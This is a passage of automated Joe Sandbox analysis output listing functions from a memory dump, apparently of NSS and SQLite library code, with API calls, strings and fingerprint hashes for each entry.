Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: d749dd17986cee4eedcae48a20c14f29defb019cfb25dc4431acd91eeaff5096
Instruction ID: 39fb9ad84642ce781b35bdc5c0049cf3af635408915d6ec96cf7fdec5e4e33ac
Opcode Fuzzy Hash: d749dd17986cee4eedcae48a20c14f29defb019cfb25dc4431acd91eeaff5096
Instruction Fuzzy Hash: F501D1B6FE003057E701916EAC81BAF31B88B9765CB280035F90AC7F01F71AD99643A2

Function 6CF5BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF57AFE,?,?,?,?,?,?,?,?,6CF5798A), ref: 6CF5BDC3
free.MOZGLUE(?,?,6CF57AFE,?,?,?,?,?,?,?,?,6CF5798A), ref: 6CF5BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF57AFE,?,?,?,?,?,?,?,?,6CF5798A), ref: 6CF5BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF57AFE,?,?,?,?,?,?,?,?,6CF5798A), ref: 6CF5BE21
free.MOZGLUE(00000000,00000000,?,6CF57AFE,?,?,?,?,?,?,?,?,6CF5798A), ref: 6CF5BE32

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 0019f1b075e4c2a0597572c2a3e39920e54a1f95d7249555b0a216d7e58ecd1a
Instruction ID: abc41e6828c6c0a84654e152d7d59085b85004d5e827823316e3a8cca2df721a
Opcode Fuzzy Hash: 0019f1b075e4c2a0597572c2a3e39920e54a1f95d7249555b0a216d7e58ecd1a
Instruction Fuzzy Hash: 94111FB6F21200DFDF80DFABE80974BBBB5BB46254B548425D60EC7710D7329414CB91

Function 6CF57C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF57C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF57C83
malloc.MOZGLUE(00000001), ref: 6CF57C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF57C9F
PR_GetCurrentThread.NSS3 ref: 6CF57CAD

Part of subcall function 6CF09BF0: TlsGetValue.KERNEL32(?,?,?,6CF50A75), ref: 6CF09C07

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 8fa395a59d87a5646d4501197e1031f75a7f21fabde85967207039c2cd5fea99
Instruction ID: 2093c0b817ea45c94e92fc612074e4bdec72d1c6b16ab6e67d4f3434bc05db2a
Opcode Fuzzy Hash: 8fa395a59d87a5646d4501197e1031f75a7f21fabde85967207039c2cd5fea99
Instruction Fuzzy Hash: 87F0C2F1A202166FEB009F3AAC099477758EF10265B418436E919C7B00EB34E124CAE5

Function 6CF5ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF5A6D8), ref: 6CF5AE0D
free.MOZGLUE(?), ref: 6CF5AE14
DeleteCriticalSection.KERNEL32(6CF5A6D8), ref: 6CF5AE36
free.MOZGLUE(?), ref: 6CF5AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF5A6D8), ref: 6CF5AE47

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: a30d725bbd530628970e219558b1d9b953f24decbf2d85ea84feaa83df997c5f
Instruction ID: f3308321c87b34c8bb8783acec9380709b9d891ed74658ec17a8982d5e9c8e9f
Opcode Fuzzy Hash: a30d725bbd530628970e219558b1d9b953f24decbf2d85ea84feaa83df997c5f
Instruction Fuzzy Hash: 2BF0F675601A01A7CE049F69D808A57B7B8BF867747500328E22A83940D731E021C7D5

Function 6CDE7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE7D35

Strings

%s at line %d of [%.10s], xrefs: 6CDE7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE7D13, 6CDE7D1F, 6CDE7D47, 6CDE7D53, 6CDE7D5F
database corruption, xrefs: 6CDE7D29

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 7071dd554b7b6344d08c2f489527cfdbd9deaa70a4492447541a32a037512701
Instruction ID: 06658cc2e332a690e3c97601136f6b6515bdcfedcad1cfc1e28ea11cc537c960
Opcode Fuzzy Hash: 7071dd554b7b6344d08c2f489527cfdbd9deaa70a4492447541a32a037512701
Instruction Fuzzy Hash: 2631F471E04229E7C710CF9EC8809B9B7F1AF48305B5A0596E458B7B96D271D841C7B0

Function 6CDD6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDD6D36

Strings

%s at line %d of [%.10s], xrefs: 6CDD6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD6D20
database corruption, xrefs: 6CDD6D2A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8676a5fd8023f698e978747c278337d78fce2d0b864a5e95780d527ba304695e
Instruction ID: 2154f14d488c9ef262104a6427a1796b2236a751a3391f63edeac6fe63105c0d
Opcode Fuzzy Hash: 8676a5fd8023f698e978747c278337d78fce2d0b864a5e95780d527ba304695e
Instruction Fuzzy Hash: 8121F470A003059BC710CF1AE841B9EB7F5AF85308F25492DD8599BF61E771F94A8BE2

Function 6CEB2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEB32C2,<+l,00000000,00000000,?), ref: 6CEB2FDA

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEB300B

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEB302A

Part of subcall function 6CEA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA08B4

Part of subcall function 6CE8C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CE8C45D
Part of subcall function 6CE8C3D0: TlsGetValue.KERNEL32 ref: 6CE8C494
Part of subcall function 6CE8C3D0: EnterCriticalSection.KERNEL32(?), ref: 6CE8C4A9
Part of subcall function 6CE8C3D0: PR_Unlock.NSS3(?), ref: 6CE8C4F4

Strings

<+l, xrefs: 6CEB2FD0

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3a28870980f01537c26727242207cb85b0907029496b8dc618a39b3fc6533888
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 3011EEB6B001046BDB008EA5DD4169B77E59F4426CF394138E91CDB780EB72DD16C791

Function 6CF0CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF0CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF0CC7B), ref: 6CF0CD7A
Part of subcall function 6CF0CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF0CD8E
Part of subcall function 6CF0CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF0CDA5
Part of subcall function 6CF0CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF0CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF0CCB5
memcpy.VCRUNTIME140(6CFA14F4,6CFA02AC,00000090), ref: 6CF0CCD3
memcpy.VCRUNTIME140(6CFA1588,6CFA02AC,00000090), ref: 6CF0CD2B

Part of subcall function 6CE29AC0: socket.WSOCK32(?,00000017,6CE299BE), ref: 6CE29AE6
Part of subcall function 6CE29AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE299BE), ref: 6CE29AFC

Part of subcall function 6CE30590: closesocket.WSOCK32(6CE29A8F,?,?,6CE29A8F,00000000), ref: 6CE30597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF0CCB0

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 8b5101bd72bdfad1f3c42faf456a8d182f45d3fd0a857280a71f20c52fdd6253
Instruction ID: 592cdebf064bd9e52c490cffa1751040d7d3de9f8959ee9fa06719cf671c2f80
Opcode Fuzzy Hash: 8b5101bd72bdfad1f3c42faf456a8d182f45d3fd0a857280a71f20c52fdd6253
Instruction Fuzzy Hash: 1A11E7F1F10250DFDB808FEDFC0274ABAB89352618F129129E606CBB41E771C4148BE2

Function 6CE71CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CE71CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CE71CF1

Part of subcall function 6CF509D0: PR_Now.NSS3 ref: 6CF50A22
Part of subcall function 6CF509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF50A35
Part of subcall function 6CF509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF50A66
Part of subcall function 6CF509D0: PR_GetCurrentThread.NSS3 ref: 6CF50A70
Part of subcall function 6CF509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF50A9D
Part of subcall function 6CF509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF50AC8
Part of subcall function 6CF509D0: PR_vsmprintf.NSS3(?,?), ref: 6CF50AE8
Part of subcall function 6CF509D0: EnterCriticalSection.KERNEL32(?), ref: 6CF50B19
Part of subcall function 6CF509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF50B48
Part of subcall function 6CF509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF50C76
Part of subcall function 6CF509D0: PR_LogFlush.NSS3 ref: 6CF50C7E

Strings

C_Initialize, xrefs: 6CE71CD3
pInitArgs = 0x%p, xrefs: 6CE71CEC

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: a1fdd711c56959a70d202f1e61ea40943187174b3442b7162ecb641556ac778b
Instruction ID: b31942cdc29623e08f62ea29a23bf43d0b35ff4802259cd60e9f6b42cfd057fa
Opcode Fuzzy Hash: a1fdd711c56959a70d202f1e61ea40943187174b3442b7162ecb641556ac778b
Instruction Fuzzy Hash: DD01D635B10240DFCB509BE5F90875D7375D7C231EF144029E90D92711DB71E849CB61

Function 6CDD7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDD81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CDD8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDD8255
sqlite3_free.NSS3(00000000), ref: 6CDD8260

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 2a79e97a4e70c95a9457ef18493f3ed1799f686ab6a857f65fa3684d087fc298
Instruction ID: 3e77ed211ac39a7cb621be7364284c2a0dfbe195952ad82428f95ad23229a65f
Opcode Fuzzy Hash: 2a79e97a4e70c95a9457ef18493f3ed1799f686ab6a857f65fa3684d087fc298
Instruction Fuzzy Hash: 5291CD31E01208CFEF06CFE1EC497ADBBB1BF46304F26502AD4169B664DB356949CB82

Function 6CEB1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB1D8F

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEB1DA6

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEB1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEB1ED0

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 7c182cff0c69fd56948c1754b6d19b6197dafb8dfa1680e4b6b522b75eb0e4bc
Instruction ID: 780723bcc58f16ec58fde676089b66b9d31508fa73c4a023b6529f40700f9215
Opcode Fuzzy Hash: 7c182cff0c69fd56948c1754b6d19b6197dafb8dfa1680e4b6b522b75eb0e4bc
Instruction Fuzzy Hash: 81515975A00209CFDB10CFD8D984BAEBBB6BF45318F244129E819AF750D731E945CB90

Function 6CF04FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CDE85D2,00000000,?,?), ref: 6CF04FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF0500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF050C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF050D6

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 5c23a33b577f8aac721e3dab3ca4c053f025f4cc217a5ee606719bd4a98afbb3
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 3E4196B2A402158FDB18CF18DCE179AB7E1BF4431871D466DD84ACBB02E379E891CB85

Function 6CE2FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE2FDFE), ref: 6CE2FFAD

Part of subcall function 6CDCCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE2F9C9,?,6CE2F4DA,6CE2F9C9,?,?,6CDF369A), ref: 6CDCCA7A
Part of subcall function 6CDCCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDCCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE2FDFE), ref: 6CE2FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE2FDFE), ref: 6CE3001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE2FDFE), ref: 6CE3006F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e932202921691527cb17597fe59079a21d93753dae4ff8a86f1fbc0fdc5986d8
Instruction ID: cf06218686b9f471b7b241e7c813afb7edcb7e905fc7984cf5ee474d74cdc803
Opcode Fuzzy Hash: e932202921691527cb17597fe59079a21d93753dae4ff8a86f1fbc0fdc5986d8
Instruction Fuzzy Hash: C841EF71F00225DBDF08DFA5E885BAEB774FF4A308F145429D80A97750EB39A901CBA1

Function 6CF17DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF17E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF17EA6
